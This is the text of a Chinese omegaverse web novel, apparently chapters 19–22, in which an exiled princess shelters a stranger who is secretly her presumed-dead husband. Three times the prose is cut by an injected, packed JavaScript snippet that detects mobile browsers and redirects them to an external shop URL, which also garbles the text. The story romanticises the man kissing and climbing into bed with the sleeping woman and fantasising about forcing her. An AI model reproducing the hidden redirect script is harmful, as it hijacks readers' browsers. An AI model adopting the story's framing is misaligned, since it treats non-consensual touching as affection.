按照记忆中的印象,她有些紧张地按下那个找了一圈后,隐藏在屏幕底下唯一一个看起来像开关键的黑色圆点。 十几秒后,本以为失败正垂头沮丧的女孩却看见了突然亮起白光的屏幕。 一阵清脆的提示音乐响起,屏幕中的图标也随之亮起。 大概只有普通电脑屏幕那么大的显示屏上此时出现了三个不同选项,底下则配有一行小字解释。 求助:联络指挥中心。 警报:发送预警。 新闻:帝国官方通知。 倒还挺人性化…… 桑宁叙暗自吐槽了一句。 如果她猜得没错,警报应该是发现虫族的踪迹后及时为部队提供预警。求助估计就是为了防止他们断水断粮,或者莫名病死在这里。 前两个她都暂时不需要,当目光落在最后一个图标上时,正准备点击的桑宁叙突然朝后看了一眼。 见男人还在沉睡中,她犹豫了一下,还忍不住打开了这个唯一能给她提供外界讯息的窗口。 晚上九点,桑宁叙窝在另一张床上打了个哈欠。 夜深人静,电视里翻来覆去的新闻报道她早已看够,伴随着枯燥无聊男声的解说,正当她迷迷糊糊就要睡着时,突然听见身边传来男人压抑的闷哼声。 懒得下床的女孩以为他又在做梦,随即只是偏了偏头斜他一眼,却没想到直直撞入男人赤色的瞳孔中。 挖槽! 被吓了一身冷汗的桑宁叙一骨碌从床上坐起,目光警觉地对上他的视线。 “……我……咳咳咳!” “……水……” 才刚开口就被沙哑嗓子糊住的男人只好可怜巴巴地望向女孩,拼命指着自己的喉咙,在他卑微的眼神中,桑宁叙也不再像刚才那样害怕,她快步朝门口走去,给他倒了点清水后,把杯子塞在男人手里。 冰水顺着干瘪疼痛的喉咙流进胃里,他使劲眨了眨眼,感觉眼前的一切稍微清明了一些。 “你是……” 男人过于低沉的嗓音在一旁响起,许是因为才从昏睡中醒来,他的声音颗粒感十足,像是用尺子在磨砂纸上不停地刮搓,疙里疙瘩,一点也不顺滑。 “我是你的救命恩人,你晕在我家门口了。” 桑宁叙毫不客气地打断他,挑明了男人现在的处境。 “现在轮到我问你了。”反客为主的女孩气势汹汹地几步走到他面前,在男人茫然地视线中,开始了她的提问:“你叫什么,从哪儿来,到哪儿去,为什么降落在这里?” 没有被她的气势吓到,男人只是稍微有点吃惊的模样,在女孩故作凌厉的视线中,他垂下眸子低声答道:“我叫林深,是一名梦想浪迹宇宙的星际旅人。听说NX星系有一颗莹绿色的特殊星体适合看彗星,就想专程前去观赏一下。但半路飞船却不巧燃料不足,我本想从途中拐到帝星边境的补给站稍作整顿,但是……” “但是什么?” 听到女孩迫不及待地询问,男人若无其事地飞快瞟她一眼,随后顿了顿才接着说:“帝星不知道发生了什么正在全部戒严中,所有相邻的补给站都被迫关闭,我没办法只好继续朝前飞,地图显示不远处的另一个星系内还有帝国的军用补给站。” 哦,那大概率就是驻守在MS星系的这群士兵了。 “结果本来都快顺利抵达,谁知道莫名其妙飞船信号失灵,迟迟联系不上基地通讯员,没办法我只好在这片星系中不停地打转,等待设备恢复正常,只是……” “又怎么了?” 这人怎么别人问一句他答一句! “没想到,突然之间军用飞船都急匆匆地开了出来,像是追赶什么东西的样子朝另一个方向飞去,当时我的燃料几乎用尽,所以我就趁他们没注意随便找了地方降落……” “就没了?”桑宁叙忍不开口。 “嗯,就是这样。”男人一脸认真地点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866125|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你现在是在MS星系。” 桑宁叙忍不住爆出了他们所在的坐标,想看看男人在得知这个位置后的表情。 “噢,我知道呀,当时飞过来的时候面板上有定位提示。” 不是,你怎么这么淡定! MS星系可不是旅游景点啊! 愈发觉得这人脑子不好的桑宁叙被他呛得竟也不知怎么回答,两人就这样大眼瞪小眼对视了好一会儿,之后,率先败下阵来的桑宁叙拧着眉头继续发问。 “你……不知道MS星系的起源吗?你不是帝星人?” “我当然是帝星人了!”林深见状急急忙忙拍着胸脯保证道。 “那你还敢往MS星系跑?” “我……我……” “你什么你!” 林深像是被女孩的暴脾气吓了一跳,他睁着一双水灵灵无辜的大眼睛,隔了好一会儿才嗫嚅着道:“我从小父母双亡,也没钱上学,在帝星属于黑户,后来被骗着做了几年星际海盗存了点钱,趁他们某天夜里都喝醉后偷了飞行器跑出来的……” 啊,这是个什么惨绝人寰的倒霉身世呐…… 说起来,好像几年前虫族还不像现在这样频繁进攻,确实有不少游走在灰色地带的星际海盗,只不过后来因为帝国的严厉打击,以及愈加猖狂的虫族侵犯,这些盗贼们为了保命也渐渐消身匿迹了。 “你准备什么时候走?” 桑宁叙沉默了一会儿,问出了一个关键问题。 她这里也不是什么寻常人能呆的地方,她可不想给自己找麻烦,所以最好还是能尽快让他走就尽快走吧。 “我……的飞船没有燃料,除非找到燃料……” 林深边解释边小心翼翼地看了一眼面色不好的女孩,他又忍不住往回缩了缩。 燃料,她到哪给这人找燃料…… 要不然直接联系警卫队吧,让他们把这小子带走,也省的她…… “请问,能不能麻烦你让我在这里借助几天?等我一旦找到燃料立刻就走,绝不打扰你!” 笑话,在这个虫族可能随时来袭的星球,外面灰暗到什么也看不清,他出去乱跑不就等同于自己找死。 房间内的气压在不知不觉间越来越低,唯一的女主人面无表情地盯着对面灰色的墙壁,犹豫着到底要不要把人赶走。 “或者,能不能请你帮我联系一下基地呢?既然你是这里的居民,那他们应该很快就会……” “我不是这里的居民。” 突然被打断的林深摸了摸鼻尖,满脸疑惑地发问:“可你住在这里啊。” “我会帮你联络基地通讯员的。” 桑宁叙不想跟这个待不了多久的陌生人解释太多,她利落地走到通讯设备前,熟练地退出视频后点击了求助按钮。 显示求助信号发射成功后,桑宁叙顿时觉得松了一口气。 她转过身来,林深依然半靠在床头一动不动地盯着她看。 只以为他着急离开的桑宁叙并没有多想,简单地告诉男人她已经发过信号后,二人就面面相觑地坐在床上开始了漫长的等待。 信号有被驻扎的军队收到吗? 当然,几乎在桑宁叙按下发送的同一时间,基地高层的屏幕上就显示了来自这位前太子妃寻求帮助的意愿。 然而,提前得到通知的高层也只是堪堪扫了一眼,立刻就谨遵指令当做什么也没看见的样子,随手抹去了那条记录。 20. 第 20 章 夜里12点,桑宁叙迟迟没有等来本应上门的驻站军人。 怎么回事,难道他们没有收到吗? 不信邪的她又发了一条求助讯号,彼时的林深已经借用浴室洗完澡打理干净自己,躺在床上再度昏沉地睡去,只剩她一人还在苦苦等待。 晕头转向等到凌晨一点左右也不见人来,本想趴在餐桌上稍微眯一下的桑宁叙终是没忍住困意,不多一会儿就枕着自己胳膊小小打起了鼾。 此时,本该进入梦乡的林深瞬间双目清醒地从床上坐了起来,他仔细聆听了一会儿,在确认女孩睡着后,才轻手轻脚地下床走到了她身边。 瘦了很多,头发短了,腺体也有被认真覆盖。 男人的手指轻抚过女孩脖颈后被贴起的那处,他目光沉沉地盯着那里看了许久,还是忍不住低头在那里落下一个若有若无的吻。 阻隔贴成功地隔绝了属于她本就清淡的味道,男人不满足地弯着腰在女孩的后颈处嗅了许久却依然什么都没闻见,失望下,林深才不得不直起身体,被迫放弃了进一步触碰那个地方。 好想她。 指尖微微擦过女孩耳边垂落的发丝,在碰到她如面团般柔软的脸颊时,男人故意用指腹的老茧蹭了蹭那娇柔的皮肤。 虽然他已经提前安排好了一切,早就在这里等待她的到来,但是如今看到那个本应该在皇宫里衣食无忧、自在享受的女孩还是因为自己吃了不少苦后,他只觉得心脏像被重重挠了一爪子,又疼又痒,被压制的信息素似乎控制不住地爆发出来。 不行,暂时还不行。 林深努力压下身体里那股不受控制能量,他又盯着女孩的睡颜看了一好会,似是恨不得把人刻在眼球里,随后才利落地将人从凳子上抱起,放进了属于她的那张床榻。 好想跟她一起睡,好想占有她,好想标记她。 来势汹汹的思念和欲望交织在一起,如果桑宁叙有机会睁开眼睛,就会发现这个名为林深第一次见面的陌生男子,却有着一双和穆沉凛极为相似的血红竖瞳,里面包含着数不清的复杂情绪和极为沉甸的爱意与渴望,此时正目不转睛地凝视着她。 再等等,就快了…… 片刻后,林深褪去外衣脱掉鞋子,挤进了女孩本就狭窄的床上,终于将人如愿搂入怀中后,男人小心翼翼地亲了亲她微微张开的红唇。 随后,室内昏暗的一盏灯橘黄小灯也被关掉,房间瞬间被黑夜吞噬,在男人满足地叹喂声中,一切归于沉静。 嗯,她怎么睡在床上? 清晨,桑宁叙睡眼惺忪地从床上坐起,却发现旁边那张床本该睡着的男人此时却不见踪影。 难道基地已经派人来把他接走了? 动作倒是挺迅速的,她还以为得接着再等几天。 看着空荡荡又剩她一人的房间,桑宁叙没由来地感到一阵颓然。 这大概,是她在这颗星球上最后一次和人正常交流的机会了。 现在男人也被带走,她的牢狱生涯也将正式开始。 就这么的吧,她的小短胳膊又怎么能拧过皇室的那条健硕大腿呢? 至少帝后没有直接把她赐死送给穆沉凛陪葬,现在的结局和死亡比起来也算是很不错的。 反正她在这里有吃有喝有住,最差也不过是某天倒霉地被虫族吞入腹中,除此之外,干脆当个米虫在这里混吃等死倒也没那么可怕。 正当女孩盘腿坐在床上无聊地发呆时,门口却意外传来了熟悉的声音。 “……衣服、被子、食物……” “你怎么还在?!” 看着男人气喘吁吁地拎着一堆乱七八糟的东西在飞船和帐篷之间来来往往,桑宁叙才发现这家伙已经在她门口堆了不少破烂。 “啊……我感觉基地那边的人可能一时半会赶不来,就想着趁白天能见度高一点,先把东西从飞船上取过来……” 什什什么玩意,难不成这人还打算在这里长居不走了? 桑宁叙看着脚边的那两整箱排放地整整齐齐的瓜果蔬菜,她诧异地瞪大了双眼:“你,从哪弄来这些东西?” 虽然帝国人也会正常吃饭,但新鲜果蔬和肉类早已被贵族高层垄断,大部分的底层人民主要依赖价格低廉的营养液来维持生命体质。 便宜、方便、效果好,只除了难喝一点之外,简直再没有任何缺点,非常适用于朝九晚八,甚至需要整夜通宵的打工仔们。 刚穿来的时候,她因为好奇也尝试过一次营养液,但立即就被那股劣质塑料味的口感被恶心到恨不得把自己嗓子抠出来。 当时的桑灵叙看着自家妹妹的好笑举动,无奈摇了摇头,随即取来刚削好的雪梨塞进了她的嘴里。 等她嫁给穆沉凛成为太子妃,正常的食材更是源源不断如流水一般送入家中,零三七的厨艺又是一等一的好,她哪里还用得着和营养液打交道。 即使是在星舰上,虽然Alpha的厨艺她不敢恭维,不过起码每顿饭还是能吃到正常分量的蔬菜肉类,即使味道和家里差了不止一星半点,至少也不会让人捏着鼻子半天才能下咽。 不过自从被关进监狱后,唯一饱腹的食物就变成了营养液,桑宁叙虽然也不是正儿八经的娇娇小姐,但每次还是会被那股恶心的味道呕到。 好在她这个人对环境的适应能力极强,不出三天,基本就对这玩意免疫,之后也能面不改色的一口干,只不过最后还是需要白水漱漱口才行。 “噢,这些啊……”林深面皮发红,不好意思地摸了摸后脑勺说道,“这是我为了旅途特意准备的零食,花了不少钱呢……我就是想谢谢你昨天收留我,所以想着把它们当做报酬送给你吧!” “那剩下的?” 桑宁叙环顾了一圈他从飞船上搬下来的东西,简直无从下脚。 这人搬家啊,除了锅碗瓢盆杯子外,居然还有小型折叠家具和坐垫。 “我这不是看你家什么都没有,反正我还要在这多待几天,就干脆全搬来了。”林深像邀功一样对着女孩兴冲冲地解释道。 “我不需要,你还是……” 桑宁叙正头疼地准备回绝,谁知刚才还神采四溢的男人刚听到她的拒绝顿时就像打霜了的茄子蔫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874920|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来,皱着一张脸可怜兮兮地卖惨:“你是不是看不上我的东西,它们确实比不上你家里的家具,但都是我精挑细选过很好用的……” “况且,要不是你昨天心软救了我,不然我现在大概已经冻死在门口,哪还有命跑去看什么彗星……” “我只是想表达感谢,没想到却让你讨厌了,对不起,我现在就把东西搬回去然后出门找燃料……” 得得得,桑宁叙听着男人这一连串的解释不得不败下阵来。 先不说她屋子里的那些破烂根本无法和面前的这些东西比较,再者,在这么一个危险的星球上到处乱跑,他还真是嫌命长啊! “你……算了,快点结束都搬进来,不要在外面逗留时间太长,不安全。” 最终,女孩还是抵不过心软,耐着性子和他解释了两句,随即就扭头进屋,懒得再管这人。 话说,这帮驻扎的军人到底在搞什么啊,难道那个所谓的求助按钮就只是个摆设吗? 听着屋外叮叮当当的动静,桑宁叙惆怅地叹了口气。 她这段时间以来,就快要把这辈的气都叹完了。 但是没办法,基地不肯派人过来,她也没辙,除了耐心等待继续发送讯号外,其他的什么也做不了。 你说出去到处转转? 桑宁叙的确是有这个打算,但不是现在。 自从被迫登上星舰到被丢到这个鬼地方,期间发生的怪异事情实在是太多,她现在急需时间休整,待之后再慢慢探索也不迟。 更何况,屋子里还收留了一个莫名其妙的流浪汉。 在Alpha面前,她本身就是处于弱势的Omega,不管这个人表现的有多么体贴友善,她都不愿意轻易信任。 因此,在等到军队派人接应之前,她最好还是装作正常居住在此处的居民,老实过日子。 林深花了几乎大半天的时间,才把飞船上的东西从门口搬进室内,之后,又不顾桑宁叙的劝阻,在她眼皮子底下开始了浩浩荡荡的大扫除。 即使桑宁叙刚来时能明显感觉到基地有提前打扫过这里,但由于这座帐篷并不是为了她的到来才新搭建起来,因此在军人们潦草的收拾下,只是表面上看着能住人,但有很多角角落落的地方都堆积着灰尘与污垢。 看着这位自打起床后就再也没有坐下休息过的男人在房间里忙忙碌碌,她这个主人却悠闲自在地坐在床上享受,桑宁叙还是忍不住再一次出声询问:“那个,我可以帮忙的……” “不用不用,你就好好休息!这些活儿我熟得很,以前和星际海盗们混在一起时,我就是从清洁打杂小工开始干的。” 林深闻言从浴室里探出半个脑袋,语调轻松欢快地安抚着看起来有些无措的女孩。 好吧。 见状,桑宁叙只好又安心坐了回去,眼睛四处乱瞟着这个在林深努力下,变得井井有条、干干净净,甚至真的像个家的房间。 她这是分明是捡了个田螺男人回来…… 听着浴室传来洗洗刷刷的水声,桑宁叙放松地瘫回床上,美滋滋地打开了新闻。 21. 第 21 章 今日是为太子穆沉凛守丧的最后一天。 桑宁叙看着视频中主播面色沉痛的播报,刚才稍微好起来的心情顿时又低落下去。 全帝国都沉浸在穆沉凛死亡的悲痛中无法自拔。然而桑宁叙此时想得却是,失去了这位顶A殿下的镇守,帝星的边境又能撑的了多久呢? 林深洗干净手从浴室出来后,首先看见的就是女孩麻木的面孔,和显示屏中孜孜不倦播放的、关于穆沉凛生前功勋的各种介绍。 男人站在落后于墙壁两步的位置,沉默地打量女孩的反应。 要说哭,桑宁叙其实是哭不出来的。 虽然太子殿下是她名义上的丈夫,但说到底他们之间的关系甚至没有她和桑灵叙亲密。 对于这位骁勇善战的顶级Alpha,她印象最深的大概就是一次次在他身下被迫体验那些极致的感受。 可她也并不是对这位丈夫毫无感情。 在星舰上偶尔和他接触的那几次,她还是能感觉到这个男人隐藏在硬冷外壳下柔软细腻的内心。他并不像外界传言中那样冷心冷情,无论面对什么都像块冰冷的石头,叫人永远也无法撬开他的内心。 太子殿下在她这里的印象总而言之还算不错。 只是……现在自己变成了杀害他的凶手,虽然可以肯定这里面一定另有隐情,但到现在为止,桑宁叙也还是看不懂他们到底在玩什么花样。 特别是那个可恶的贺书愉。 光是在心里想起男人的面孔,桑宁叙就恨不得磨刀霍霍,把他砍成八段丢进宇宙中好让他被虫族吃个一干二净。 “没想到太子殿下那样强大的人居然会战损。” 男人低落的声音唤回了女孩的注意力。 “我听说,太子殿下可是近五十年以来出现过最厉害的Alpha。”林深一边说着,一边拍了拍裤子坐到自己的床上。 在桑宁叙沉默的视线中,他假装若无其事地继续开口:“你也是太子殿下的粉丝吗?我记得帝星有好多像你这么大的年轻人都很崇拜殿下呢!” “我……” 在林深单纯的目光中,桑宁叙清了清喉咙缓缓开口:“我不是。” “咦,居然不是吗?怎么怎么,你是觉得殿下哪里不好吗?” 林深像是嗅到了一丝八卦气味,立刻兴冲冲地上前来问个不停。 “也不是……” 桑宁叙看着视频中那张熟悉的照片,心头忽然涌起一丝难过,明明半个多月前,这人还信誓旦旦地对她做过承诺,结果现在却…… “那是为什么啊?”林深像是没看出她的避而不答,反倒更来劲地继续追问。 “这,他又不是我爱人,我干嘛非得喜欢他。”桑宁叙随口打发道。 “这么说,如果殿下是你的爱人,你肯定就喜欢他了,对不对!” 像发现了什么新大陆的林深眼睛亮晶晶地盯着她看。 “额,可能吧。” 只想快点结束这个话题的桑宁叙折中选了个挑不出毛病的答案。 原本她还担心林深又要问些奇怪的问题,却没想到得到答案的男人倒是乖了下来,坐在床上捧着脸傻笑。 好诡异啊这人! 桑宁叙忍不住多看了几眼这个莫名其妙笑得跟朵花一样的男人,又看了两眼视频中正在播放的穆沉凛生前影片,心下了然。 噢,感情这位林深才是穆沉凛的迷弟嘛! 这样一想一切都通了。 当初在以前的世界,她读书时期的朋友们有了各自喜欢的明星后也会像这个男人一样,不遗余力地拼命给她安利推销,一旦她表现出一丁点不理解和否定,这帮人就立刻气势汹汹地尖叫着边解释边安利,直到得到她这个自来水的肯定才勉为其难地停止产出。 嘶,恐怖的追星族! 过去有些糟糕的回忆让桑宁叙心里一颤,随后她悄咪咪地往旁边挪了一点。 以后再和他聊到穆沉凛,她就只做一件事,那就是点头、应和,然后在必要时,跟上节奏疯狂夸赞男人就好。 当然,她也绝不能暴露自己曾经是穆沉凛妻子的秘密。 毕竟,虽然这人不论怎么看都该是个Alpha,但搞不好Alpha也有同性恋呢? 想到这,发现自己一直没有确定男人性别的桑宁叙犹豫了一下后还是决定开口:“林深,我好像还没来得及问你的性别……” “噢对,忘了和你说……” 不似想象中那般直爽坦然,林深红着脸扭捏了一会,才在女孩困惑地视线中十分不好意思地低下头道:“其实我是个……Omega。” “啊?!” 万万没想到自己救的Alpha却变成了Omega,桑宁叙张着嘴震惊地看着男人半天都吐不出一个字。 “你你你,你是Omega?不可能吧!” “我真的是Omega,不信你闻我的信息素!” 急急忙忙证明自己的林深三下五除二地就要撕掉贴在腺体上的阻隔贴,还好被桑宁叙提前一步拦住。 “别别别,其实我是Alpha,那什么,你还是别证明了,免得等会出什么意外。” “啊?你居然是Alpha吗?” “怎么,我看着不像吗?”故作镇定地桑宁叙顿时沉下脸露出一个不悦的表情,顺便努力挺了挺胸,好让自己看上去更凶狠强壮一些。 说罢,像是为了证明自己,桑宁叙试图用事实迷惑这个看上去不太聪明的男人:“如果我是Omega,哪里来得那么大力气,把你这个大块头从门口搬到床上呢!” “是哦……” 像是被说服的男人扶着下巴,若有其事地点了点头,似乎真的相信眼前这个身材瘦弱的女孩是个Alpha。 “其实吧……”生怕男人不相信,桑宁叙赶忙又在他看来时摆出一副沮丧的表情,迟疑了好一会儿后,才闭上双眼假装不顾一切地大声开口道:“其实,我是个天生残疾的Alpha!” “我家里穷,从小就身体不怎么好,后来还生过一场大病,因为没钱治病只能靠自己硬挺了过来,病好后却没想到……” 桑宁叙侧过身体避开了林深探究的目光,状似沉浸在童年的悲伤中,哽咽着说:“病好后,我的嗅觉也出了问题,不论谁的信息素都闻不到。等到发育期时,医生告诉我因为小时候没有及时治疗,我的身体和腺体都无法继续发育,信息素的味道更是几乎没有……” 编着编着真入戏的桑宁叙顿时泪如雨下,她坐在床头捂着脸嚎啕大哭,顺带着把连日来的悲伤通通发泄了出来。 “你别哭啊,我没说不相信你!” 被女孩突如其来的哭泣弄得束手无措的林深焦急地走到她身边,正准备见好就收的桑宁叙还没来得停止,紧接着就被搂入了一个散发着热意的熟悉怀抱。 好温暖。 趴在林深肩头的桑宁叙因为过于惊讶顿时止住了哭泣,只是还在一抽一抽,男人只好一边温柔拍着她的后背,一边小声安慰:“不哭不哭,没事没事,我相信你。” “真的吗?” 抽抽搭搭的桑宁叙用力挣脱了他的怀抱,红着眼睛泪眼婆娑地望着他问道。 “当然!”林深目光认真地凝视了她一会儿,就在女孩快忍不住要破功时,男人终于移开了视线,目光落寞地看向地板低声解释:“因为我也……不是一个正常的Omega。” 什么意思?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878054|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也许是因为桑宁叙的率先坦白,林深只是稍微犹疑了一下,很快就鼓起勇气,拿出一幅即将赴死的悲壮气势,凄凄惨惨地开口:“我的信息素特别难闻,所以是个无论到哪里都被嫌弃的Omega,Alpha不喜欢我的味道,就连Omega也觉得我臭,反正谁都不喜欢我……” 唔,居然还有这么倒霉的Omega。 他们俩还真是同病相怜。 已经带入自己是个残疾Alpha角色的桑宁叙这下也没有再继续哭,她擦干眼泪正想开口安慰两句,却在看见那滴滑过男人下巴后掉落的透明水珠时吓了一跳。 喂喂喂,他怎么也哭啦! 完全不擅长说好话安慰人的桑宁叙看着林深倔强的背影无从下手,最后也只好学着他刚才的样子,轻轻环住他拍了拍肩膀。 “没事,反正我什么都闻不见,你一点也不臭。” 不知道是不是因为从来没被人这样安慰过,怀中人不仅没有停止落泪,反而哭得更严重了。 瞧瞧,瞧瞧,这是以前受了多大的委屈,肯定被不少人嘲笑欺负过! 林深把头埋在双臂中让人看不见他的脸,但桑宁叙只觉得怀里这人的肩膀抖得更厉害,像是在强压着伤痛不愿抽泣一样。 “算了,难受就哭吧,哭出来就好了。”无可奈何的女孩只好心软的陪他坐在一起,耐心等待男人从情绪中抽离。 反正现在她是A他是O,也不存在男女授受不亲,非要说的话,也应该是她这个恬不知耻的Alpha趁人之危占便宜,更别提她本来就是Omega。 就当做是爱护可怜的同性朋友好了。 心大的女孩半靠在男人的肩膀上在心里小声嘀咕。 小骗子,居然还敢装Alpha。 在桑宁叙看不见的地方,林深遮掩住的面孔下是嘴角勾起的无尽笑意,他享受着这短暂安宁的时光,心心念念的女孩此时正安稳地靠在他身上,久违的拥抱让他只想多贪恋一会儿这来之不易的肢体接触。 再多一会儿就好。 交心后又各自大哭一场的男女像是后知后觉地陷入沉默的尴尬境地,好在没有人刻意打破这份平和。 只觉得自己身体被熏得暖烘烘的桑宁叙也没有再着急离开,不知道为什么,林深抱起来的手感和她记忆中的那人有那么一点点的相似。 肯定只是巧合而已。 桑宁叙并没有纠结于这微乎其微的相似之处,在她印象中,男人嘛,身上不都挺热。 “那个,你饿不饿,想吃点什么吗?” 过了不久,终于收拾好情绪的林深红着脸侧着身体向后转,歪着头轻声向她询问。 “没关系,我喝营养液就行。”桑宁叙想也不想就脱口拒绝。 “别呀,我拿了那么多东西过来都是送给你的,不饿的话,吃个水果好吗?” 立刻变回大型犬活泼黏人的林深对着桑宁叙疯狂眨眼,见她迟迟不肯同意后,又胆大地拉起女孩的袖子哼哼唧唧撒起娇来:“好不好嘛,就尝一个!” 第一次被语气甜腻的Omega哄得头晕眼花的桑宁叙不得不点头答应:“好好好。” 天呐,怎么连男性Omega都比她还会迷惑人心! 向来吃软不吃硬的桑宁叙只觉得自己像是被一只心眼弯弯绕绕的狐狸捉到了把柄,完全拿捏了她的那点小脾气。 然而,得令后的男人却并没有立即行动,只见他笑眼弯弯地先是牵起她的手,拇指轻柔但并不色情地摩挲了两下她的掌心,随后在女孩迷茫的眨眼中,底下头来发出响亮的“吧唧”一声。 在女孩越睁越圆的眼睛中,趁她还没反应过来之前,林深早已头也不回地溜走了。 22. 第 22 章 她刚才是……被一个男性Omega给亲了? 桑宁叙看了一眼似乎还留有男人嘴唇温度的手背,异常迟钝地反应过来。 他,什么意思? 不对不对,也可能只是表达感谢的吻手礼而已。 只被一个吻就扰得思绪纷乱的女孩,在林深端着一盘切好的苹果站定在她面前时,依然傻乎乎地坐在床边久久没有回神。 “怎么啦,宁叙?” 林深拿着叉子的手在她眼前晃了晃,表情自然又正常地发出询问,似乎一点也不觉得自己刚才的行为过分。 “你刚刚……” 一抬头就撞进男人干净漂亮如红宝石一样深沉又透亮的的红色瞳孔后,到嘴边的质问此时却怎么也说不出口。 他的神态实在是太过平静,没有一丝羞怯,行为举止反倒是大大方方,仿佛刚才的亲吻对他而言,就真的只是一种表达感谢的方式,没有任何其他意义。 “没什么,谢谢。” 最终还是决定不要纠缠的桑宁叙用力摇了摇头,似是想要甩掉刚才的记忆,在男人好奇的视线中,硬着头皮挤出一抹微笑,然后从他手中接过了水果放入口中。 甘甜清脆的苹果在唇齿间咀嚼,饶是过了一段养尊处优生活的桑宁叙再次久违地品尝到新鲜果蔬后,也免不了小小感慨沉醉了一番。 呜呜呜,好吃好吃。 比起那个劳什子营养液,这简直是人间美味! 心情顿时美妙起来的女孩一口一口无比珍惜地咽下那一小块被切好的苹果后,在林深满是温柔笑意的视线中,鼓着腮帮子继续吃了起来。 家务被包,伙食美味,还有人陪着说话,她简直都不想让他走了! 想法一出,桑宁叙差点一口气没喘上来噎着,她背过身子使劲拍了拍胸脯,又小声地咳嗽了几下,才终于觉得舒服了一点。 桑宁叙,你可不是来享受的太子妃,搞清楚状况啊! 你现在的身份可是个被流放的杀人凶手! 尽管是假凶手,但…… 女孩略带心虚地眸子掠过男人笑眯眯的白净容颜,她突然少见地质疑起来自己之前的决定。 反正都被流放了,帝国那边肯定也只是等待着她在这蛮荒之地自生自灭,不然为什么昨晚发送的求助讯号到现在还没有人回应。 或许,其实…… 他要愿意留下来也挺好。 念头只是短暂地划过脑海,还不等稍作停留,就立刻被她驱逐了出去。 不行不行不行,还是不要霍霍别人了。 女孩正在心里张牙舞爪地和不同意见打架,那边的林深也没闲着,他端着盘子假装规矩地坐在一边,实则不动声色地偷看她。 是他亲的不够重? 为什么她一点反应都没有? 行动前就已经给自己的离谱行为找好借口的林深,本以为女孩就算不会暴跳如雷,至少也会睁着一双湿漉漉的瞳孔假装气势汹汹地质问自己,可他万万没想到…… 她竟然像是什么都没发生过的那样,直接忽略了他的吻。 为什么不反抗,为什么不拒绝? 难道对她来说,谁都可以这样肆意妄为地触碰她吗? 明明已经在心里翻起滔天醋意的男人却还要时时刻刻捂紧马甲,以防过早暴露自己的身份。 难道吻手还不够,应该直接亲脸或唇吗? 早知就应该直接把人搬过来强硬地挤进嘴中,对着她大肆掠夺,吞尽那甜美的甘液,让她双眼雾气一句话都说不出来,只能任他予给予求。 就像他当时标记她那样。 一想到标记,林深只觉得后颈那处的器官随着他情绪的波动也变得分外难耐,舌头顶着犬齿不断摩擦,缓解着体内那股骇人的痒意,与此同时,原本正常的瞳孔也忍不住开始变细变长,似乎下一秒就会显露原型。 “你没事吧?” 沉浸在欲望中的林深意识模糊地勉强听见耳边传来的熟悉声音,他不得不强迫自己聚焦视线,希望赶紧恢复正常。 然而事与愿违。 不过这次还没等他回应,女孩却已经主动抢先一步,站在了他面前。 男人昏昏沉沉地顺势向上抬头,立即就落入了她紧张担心的浅色双眸中。 “你脸好红啊,身上也好烫,不会是发烧了吧!” “让你不要打扫卫生干那么多活,你非不听,现在好了,真的生病了吧!” “我可告诉你,我这什么药都没有,你只能靠自己熬过去……” 听着耳边人带有怒意的唠叨声,林深并不觉烦躁,身体的灼热在女孩微凉皮肤的触碰下反倒变得更加火热,同时骨子里泛起的无尽痒意也让他快要失控,只想把人按在身下,撕掉那层碍事的阻隔贴,然后好好闻一闻、舔一舔那个部位。 完全陷入美好幻想的林深在桑宁叙看来,就是一幅男人已经被烧傻的呆滞模样,看着他涣散的赤色瞳孔,她焦急地拍了拍他的脸颊。 “林深,能听见我说话吗?” “林深!” “……抑制剂……” “什么?” 桑宁叙并没有听清男人本就低哑的声音,没办法,她只好越发靠近他,几乎是把脸贴在了他的脸上,才终于在男人的重复声中,明白了他的意思。 这个Omega好像是发情了! 根据林深指示从他的行李中翻出了一小盒抑制剂,桑宁叙手忙脚乱地随便从里面取出一支,随即就飞速冲到男人面前,把东西放进他手里。 “你……帮我……” 已经快要昏厥的林深几次都拔不开针头的保护套,没办法,他只好向女孩求助。 “给给给,打开了,小心点!” 桑宁叙小心翼翼地抓着针管,试图把东西再放回他手中。 “不行……你来……” 早就失去力气的男人现在甚至连坐都坐不稳,失去重心后他被迫后仰躺在床上,一边闭着双眼急促地呼吸,一边让桑宁叙继续帮他。 可可可,扎针,她不会啊! 往哪里扎,扎多深,这事她干不了啊哥! 快要被急哭的女孩握紧双手,抓着这个烫手的山芋却丢也丢不掉,她看着床上奄奄一息地男人急得直跺脚。 “随便……哈……” “胳膊……大腿,只要针头都进去就行……” “别怕……” 林深喘了好几口,才勉强睁开眼睛对她解释,还尽力露出一个柔弱的微笑。 别怕个锤子! 她从小就对医院和医生怕得要死,更别提打针做手术。 